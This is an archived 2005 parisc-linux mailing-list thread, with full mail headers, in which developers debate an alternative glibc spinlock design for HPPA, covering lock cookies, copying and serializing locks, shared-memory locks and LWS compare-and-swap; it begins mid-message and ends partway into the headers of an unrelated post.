> 	return __ldcw(&l->lockword) != 0 ? 0 : EBUSY;
> }
> 
> int spin_is_locked(lock_t *lock)
> {
> 	struct internal_lock *l;
> 
> 	/* Assume unallocated locks are unlocked */

How do you initialize a static lock to a "locked" state code? :)

> 	if (*lock == 0)
> 		return 0;
> 
> 	l = __find_lock(*lock);
> 	if (l)
> 		return l->lockword == 0;
> 
> 	/* Assume invalid locks are unlocked */
> 	return 0;
> }

What happens if you stick this lock in shared memory? Each thread in
each process will see a different lock?

I really think that Dave's implementation, being the simplest works in
99% of the cases, with the only restriction being that a copied lock
must be copied to a destination of the same alignment.

c.

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:39 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [RFC] Alternative implementation of glibc spinlocks
Date: Mon, 04 Jul 2005 09:59:14 +0800
Lines: 36
Approved: news@gmane.org
Message-ID: <42C897F2.80307@tausq.org>
References: <20050702135938.GV19114@tausq.org>
	<20050704010044.GA5269@systemhalted.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=windows-1252
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416623833 15484 80.91.229.3 (22 Nov 2014 02:37:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:37:13 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Carlos O'Donell <carlos@systemhalted.org>
Original-X-From: - Wed Jul 02 21:27:22 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 04 Jul 2005 01:59:52 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx071) with SMTP; 04 Jul 2005 03:59:52 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 8DD257D6EE;
	Sun,  3 Jul 2005 19:59:48 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 25718-01; Sun, 3 Jul 2005 19:59:48 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 7FE297D6E8;
	Sun,  3 Jul 2005 19:59:47 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id CB3FB7D6E0
	for <parisc-linux@lists.parisc-linux.org>;
	Sun,  3 Jul 2005 19:59:44 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 25480-04 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 3 Jul 2005 19:59:44 -0600 (MDT)
Original-Received: from stl.com.hk (ip127.bb146.pacific.net.hk [202.64.146.127])
	by free.linux.hp.com (Postfix) with ESMTP id 16CB57D6D5
	for <parisc-linux@lists.parisc-linux.org>;
	Sun,  3 Jul 2005 19:59:44 -0600 (MDT)
Original-Received: from rccomp.stl.com.hk ([192.168.100.200] helo=[127.0.0.1])
	by stl.com.hk with esmtp (Exim 4.50)
	id 1DpGDd-0005bC-R0; Mon, 04 Jul 2005 09:57:57 +0800
User-Agent: Mozilla Thunderbird 1.0.2 (Windows/20050317)
X-Accept-Language: en-us, en
In-Reply-To: <20050704010044.GA5269@systemhalted.org>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: Tv26Yp5ReSEkNb6WZHQhaXN1IGRvb8Cv
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22869

> a) Lock serializing (essentially lock copying)

I still think "lock copying" is a fundamentally flawed idea, but I think
we can actually support this in a sneaky way.

All you need to serialize is the state of the lock, either it's locked
or not.

We could design the cookie to store this information in the least
significant bit. When somebody tries to access a cookie that doesn't
correspond to an existant lock, we can materialize the lock at that point.

A bigger problem as we discussed on IRC is how to handle locks in shared
memory.

I suppose we could use an extension of the above trick. If a lock is
initialized shared (by setting pshared=true in pthread_spin_init), the
cookie will have a bit to indicate this, and the lock memory is
initialized in a shared memory segment with a well known name. If
another process comes along and gets ahold of such a lock, it would then
attach to the shared memory segment and then get access to the same lock
object in memory.

Any software problem can be solved by adding another layer of
indirection -SMB

:-)

randolph

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:39 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [RFC] Alternative implementation of glibc spinlocks
Date: Mon, 4 Jul 2005 00:14:56 -0400
Lines: 76
Approved: news@gmane.org
Message-ID: <20050704041453.GC5269@systemhalted.org>
References: <20050702135938.GV19114@tausq.org>
	<20050704010044.GA5269@systemhalted.org> <42C897F2.80307@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623833 15489 80.91.229.3 (22 Nov 2014 02:37:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:37:13 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Randolph Chung <randolph@tausq.org>
Original-X-From: - Wed Jul 02 21:27:22 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 04 Jul 2005 04:15:21 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx037) with SMTP; 04 Jul 2005 06:15:21 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id C9C2E7D687;
	Sun,  3 Jul 2005 22:15:16 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 25718-10; Sun, 3 Jul 2005 22:15:16 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id D033B7D6E0;
	Sun,  3 Jul 2005 22:15:15 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 4D0487D672
	for <parisc-linux@lists.parisc-linux.org>;
	Sun,  3 Jul 2005 22:15:13 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 25718-07 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 3 Jul 2005 22:15:12 -0600 (MDT)
Original-Received: from baldric.uwo.ca (baldric.uwo.ca [129.100.10.225])
	by free.linux.hp.com (Postfix) with ESMTP id AA8BD7D657
	for <parisc-linux@lists.parisc-linux.org>;
	Sun,  3 Jul 2005 22:15:12 -0600 (MDT)
Original-Received: from carlos by baldric.uwo.ca with local (Exim 3.35 #1 (Debian))
	id 1DpIMD-0002y1-00; Mon, 04 Jul 2005 00:14:57 -0400
Content-Disposition: inline
In-Reply-To: <42C897F2.80307@tausq.org>
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility.
X-Mailer: Neural Implant (31% Sync Ratio [===.......])
User-Agent: Mutt/1.5.6+20040907i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: jtK6YqwpeSEkV76WZHQhaXN1IGRvbwBd
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22870

On Mon, Jul 04, 2005 at 09:59:14AM +0800, Randolph Chung wrote:
> > a) Lock serializing (essentially lock copying)
> 
> I still think "lock copying" is a fundamentally flawed idea, but I think
> we can actually support this in a sneaky way.

Copying a lock creates a new lock with the same status as the old lock.
I don't think it's that flawed, it's the same idea as copying a
structure with a lock inside. You don't need an explicit copy operator,
it should just work (tm).

In the case of a cookie it works great.

> All you need to serialize is the state of the lock, either it's locked
> or not.
> 
> We could design the cookie to store this information in the least
> significant bit. When somebody tries to access a cookie that doesn't
> correspond to an existant lock, we can materialize the lock at that point.

This is exactly what I was thinking, but there is an issue:

- A lock that was serliazed may actually coincide with a lock already in
  the system. The code can't tell which is which. Unless we use another
  level of indirection.

It seems to me that it should be perfectly legal for two threads,
working on a datastructure, to be able to serialize that data to disk,
read it back and continue working in a synchronized fashion without the
locks going haywire.

It would seem that at all costs we don't want to allocate the same lock
address twice. This is wasteful of memory, and possibly the wrong thing
to do if we are serializing objects with the intent to free memory.

> A bigger problem as we discussed on IRC is how to handle locks in shared
> memory.
> 
> I suppose we could use an extension of the above trick. If a lock is
> initialized shared (by setting pshared=true in pthread_spin_init), the
> cookie will have a bit to indicate this, and the lock memory is
> initialized in a shared memory segment with a well known name. If
> another process comes along and gets ahold of such a lock, it would then
> attach to the shared memory segment and then get access to the same lock
> object in memory.

I like this idea!

Though I don't like my personal idea of forcing an equal mapping at a
high address. Instead I think a table for indirection would work.

> ?Any software problem can be solved by adding another layer of
> indirection? -SMB

When I feel the weight of a possibly complex implementation getting me
down, I think over a single question:

"What problem are we trying to solve?"

- The core glibc maintainers don't care about odd-ball arches?
- Uninitialized locks are trouble?
- "Locks are int" is not true?

The last two, make it easier to get past the first problem :)

I like the idea of using the last two bits of the lock to indicate
status, taken or not, and shared or not.

c.

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:39 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [RFC] Alternative implementation of glibc spinlocks
Date: Mon, 04 Jul 2005 13:49:00 +0800
Lines: 62
Approved: news@gmane.org
Message-ID: <42C8CDCC.7060308@tausq.org>
References: <20050702135938.GV19114@tausq.org>
	<20050704010044.GA5269@systemhalted.org> <42C897F2.80307@tausq.org>
	<20050704041453.GC5269@systemhalted.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623833 15492 80.91.229.3 (22 Nov 2014 02:37:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:37:13 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Carlos O'Donell <carlos@systemhalted.org>
Original-X-From: - Wed Jul 02 21:27:22 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 04 Jul 2005 05:49:17 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx035) with SMTP; 04 Jul 2005 07:49:17 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id BBEF87D6ED;
	Sun,  3 Jul 2005 23:49:12 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 26490-06; Sun, 3 Jul 2005 23:49:12 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id B64747D6EE;
	Sun,  3 Jul 2005 23:49:11 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 9E09A7D6EB
	for <parisc-linux@lists.parisc-linux.org>;
	Sun,  3 Jul 2005 23:49:09 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 26292-07 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 3 Jul 2005 23:49:09 -0600 (MDT)
Original-Received: from stl.com.hk (ip127.bb146.pacific.net.hk [202.64.146.127])
	by free.linux.hp.com (Postfix) with ESMTP id 9582A7D6EA
	for <parisc-linux@lists.parisc-linux.org>;
	Sun,  3 Jul 2005 23:49:08 -0600 (MDT)
Original-Received: from rccomp.stl.com.hk ([192.168.100.200] helo=[127.0.0.1])
	by stl.com.hk with esmtp (Exim 4.50)
	id 1DpJnx-0006jt-P2; Mon, 04 Jul 2005 13:47:41 +0800
User-Agent: Mozilla Thunderbird 1.0.2 (Windows/20050317)
X-Accept-Language: en-us, en
In-Reply-To: <20050704041453.GC5269@systemhalted.org>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: iai6YtdAeSEkUb6WZHQhaXN1IGRvbwBa
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22871

> Copying a lock creates a new lock with the same status as the old lock.
> I don't think it's that flawed, it's the same idea as copying a
> structure with a lock inside. You don't need an explicit copy operator,
> it should just work (tm).

If a currently locked lock is copied, is it still locked? If another
thread copies a locked lock, can it now enter a critical section? Does
the copied lock refer to the same lock object or a different one?

> - A lock that was serliazed may actually coincide with a lock already in
>   the system. The code can't tell which is which. Unless we use another
>   level of indirection.

I don't see how you can fix this even with indirection?

> It seems to me that it should be perfectly legal for two threads,
> working on a datastructure, to be able to serialize that data to disk,
> read it back and continue working in a synchronized fashion without the
> locks going haywire.

You can serialize the data, but to serialize a lock seems to be
questionable. I remain unconvinced that real life programs rely on this
behavior, but I'm willing to be shown an example :)

>>I suppose we could use an extension of the above trick. If a lock is
>>initialized shared (by setting pshared=true in pthread_spin_init), the
>>cookie will have a bit to indicate this, and the lock memory is
>>initialized in a shared memory segment with a well known name. If
>>another process comes along and gets ahold of such a lock, it would then
>>attach to the shared memory segment and then get access to the same lock
>>object in memory.
> I like this idea!
> Though I don't like my personal idea of forcing an equal mapping at a
> high address. Instead I think a table for indirection would work.

Yes. Forcing a fixed mapping seems to be fragile.

> When I feel the weight of a possibly complex implementation getting me
> down, I think over a single question:
> 
> "What problem are we trying to solve?"
> 
> - The core glibc maintainers don't care about odd-ball arches?
> - Uninitialized locks are trouble?
> - "Locks are int" is not true?
> 
> The last two, make it easier to get past the first problem :)

Well, ultimately I hope we would decide on whether or not to do this
based on technical merit rather than the politics of glibc maintainence.
Is it more natural to deal with an implementation that uses scalar lock
objects? Can it really work efficiently? Can we ensure compliance with
the appropriate standards?

randolph

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:39 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [RFC] Alternative implementation of glibc spinlocks
Date: Tue, 5 Jul 2005 01:14:00 -0400
Lines: 157
Approved: news@gmane.org
Message-ID: <20050705051359.GA5906@systemhalted.org>
References: <20050702135938.GV19114@tausq.org>
	<20050704010044.GA5269@systemhalted.org> <42C897F2.80307@tausq.org>
	<20050704041453.GC5269@systemhalted.org>
	<42C8CDCC.7060308@tausq.org>
	<20050704145417.GE5269@systemhalted.org>
	<42C9E4B4.2060303@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623834 15495 80.91.229.3 (22 Nov 2014 02:37:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:37:14 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Randolph Chung <randolph@tausq.org>
Original-X-From: - Wed Jul 02 21:27:22 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 05 Jul 2005 05:14:22 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx045) with SMTP; 05 Jul 2005 07:14:22 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 560877D701;
	Mon,  4 Jul 2005 23:14:17 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 32735-07; Mon, 4 Jul 2005 23:14:17 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 4A75A7D702;
	Mon,  4 Jul 2005 23:14:16 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 7D2A97D6FD
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  4 Jul 2005 23:14:13 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 32583-07 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 4 Jul 2005 23:14:13 -0600 (MDT)
Original-Received: from baldric.uwo.ca (baldric.uwo.ca [129.100.10.225])
	by free.linux.hp.com (Postfix) with ESMTP id C5F547D6C4
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  4 Jul 2005 23:14:12 -0600 (MDT)
Original-Received: from carlos by baldric.uwo.ca with local (Exim 3.35 #1 (Debian))
	id 1Dpfku-0002ar-00; Tue, 05 Jul 2005 01:14:00 -0400
Content-Disposition: inline
In-Reply-To: <42C9E4B4.2060303@tausq.org>
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (48% Sync Ratio [=====.....])
User-Agent: Mutt/1.5.6+20040907i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: eHK4YjJyeSEkX76WZHQhaXN1IGRvb4Aq
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22872

On Tue, Jul 05, 2005 at 09:39:00AM +0800, Randolph Chung wrote:
> > If the lock is locked when copied, the copy is locked.
> > 
> > Wether or not the thread can enter the critical section is dependant
> > upon the programmer. The programmer would have to ensure the lock copy
> > was atomic by protecting the structure. Then it could point the two
> > threads at the new copy, and delete the old copy.
> 
> I have to agree with Dave - this seems like a recipe for disaster.

Users do weird things, it's not that hard to send a SIGSTOP to a pair of
threads and do this work.
 
> > If we add a level of indirection we insert a lookup requirement. The
> > lookup needs to determine if it has to materialize a lock, index load
> > the lock from the table, which might be on a faraway page (requiring
> > more searching), and our performance is shot.
> 
> sounds like we are implementing a VM with page tables. We need a TLB! :-)

Yes we do, but in that case we have control over serialization to swap
:)

> > It still doesn't solve our lock rematerializing issue. I think the issue
> > will never go away if we have to provide our own lock cookie namespace 
> > management.
> 
> In any case rematerializing a lock seems iffy.....

Agreed.
 
> > A threaded lisp interpreter writes a running image to disk, only a
> > partial write and not the entire address space. It expects to reload
> > this from disk and start a thread up at the same place. If it has lock
> > aliasing other threads might collide with the loaded lock cookie.
> 
> I'm not sure it can do this without doing fixups after reading from a
> disk image. For example, in many object systems pointers are written to
> disks as UUIDs and when the object is read back from disk the UUID needs
> to be reconverted to a real pointer. I would think the situation is the
> same with locks; to have predictable behavior you have to write
> information about the state of the lock and manage it yourself, instead
> of relying on the underlying representation of the lock.

The situation is not the same with locks, the system pointers could get
serialized as UUID's but then we'd have to go in and write hppa specific
code to also serialize the lock to a special UUID?!

> > I think having the lock data with the lock is the only reasonable
> > solution.
> 
> Perhaps, but "lock data" should not be the internal representation of
> the lock. My reading of the POSIX/SuSv3 pthread spec suggests that the
> interface is designed explicitly to allow locks to be allocated dynamically.

I agree with you :)
 
> > Politics is a part of life, and removing it from the equation means you
> > are missing important information when making a decision.
> 
> Yes, but I don't think we should settle on an implementation that is
> otherwise inferior only to get around the politics of an open source
> project.

What if it means the different between forking and maintaining your own
repository? :)

> > I don't know what "more natural" means in this case. It's not a
> > measurable quantity. A the POSIX pthread interface it's already a
> > structure, so what difference does it make, the internals are opaque.
> 
> s/more natural/easier to implement/ then.

Ok.

> > A deferred dynamically allocated lock system faces cookie namespace
> > problems.
> 
> I think there are two separate "namespace" problems:
> 1) Shared memory locks - this is relatively easy to solve
> 2) Serializable locks - this is difficult

I had pondered using a space register to access locks, and create a
4GB space just for locks :)

> > Compliance with the standards is important, but second to a robust and
> > working implementation under minimum defined criteria.
> 
> I dunno about "second to"....

How about "close second to" ? :)

> > Let me run a thought an experiment, let me construct the most idiotic
> > implementation of "scalar lock" that comes to mind...
> > 
> > Implementation of Scalar Locks (Take 1)
> > =======================================
> > 
> > a. glibc has a single aligned master lock.
> > b. Every thread uses a scalar for a lock.
> > c. The pthread functions do the following:
> > 	- If the sig_atomic_t lock != 0
> >           Use LWS CAS to take the lock [1]
> >           = Done.
> > 	- Block signals.
> > 	- Increment the sig_atomic_t lock.
> > 	- Acquire a master lock.
> > 	- Twiddle a bit in the scalar lock.
> > 	- Unlock a master lock.
> > 	- Decrement the sig_atomic_t lock.
> > 	- Unblock signals.
> 
> Your increment/decrement operations will also need to be done with a LWS.

I think I see what you mean. One thread executing LWS CAS on
scalar_lock, and the other twiddling the sclar_lock bit could happen in
the above algorithm. If I'm going to use LWS CAS it might as well be to
handle the lock itself.
 
I'm *trying* to execute the sequence of insns required to twiddle the
scalar_lock atomically using a mutex provided by ldcw on a masterlock[n],
"n" being selected from a hash of the scalar_lock address.

The problem is that if any thread took a signal, it could face deadlock
if it tries to do any other similar pthread locking function. I thought
myself clever and setup a fallback to LWS CAS.

Though it won't work since LWS CAS uses a set of kernel locks. And two
threads might try to twiddle the lock independantly of eachother in this
case (e.g. kernel lock vs. master lock protecting one scalar lock).

Do we think that LWS CAS could be used effectively to implement locks?

All the test code is in the "userspace" repository under test-lws. I
wrote a small set of routines for it aswell. Perhaps you want to review
that for me to make sure I didn't get anything wrong?

> One undesirable property of this approach seems to be that as the lock
> becomes more contended, you spend an increasing amount of time spinning
> in the kernel (doing your LWS CAS). As you told me last night, this
> means the kernel has interrupts off, so processes are not getting
> scheduled, and your lock contention becomes worse.

Almost right, interrupts are still on, we just don't schedule. The tail
call of schedule is in assembly and it checks to see if you came from
the gateway, if you did then it doesn't schedule (or deliver your
signals). Interrupts have to be left on so I can fault the page back in
from disk if it happens to be swapped out.

c.

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:39 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "J. L. Lee" <jllee@singnet.com.sg>
Newsgroups: gmane.linux.ports.parisc
Subject: Setting up IDE CD-ROM on HPPA B2000
Date: Tue, 05 Jul 2005 15:15:20 +0800
Lines: 78
Approved: news@gmane.org
Message-ID: <5.1.1.6.1.20050705144330.02b5c6f0__19492.7591168836$1416623834$gmane$org@pop.singnet.com.sg>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="us-ascii";
  format=flowed
X-Trace: ger.gmane.org 1416623834 15499 80.91.229.3 (22 Nov 2014 02:37:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
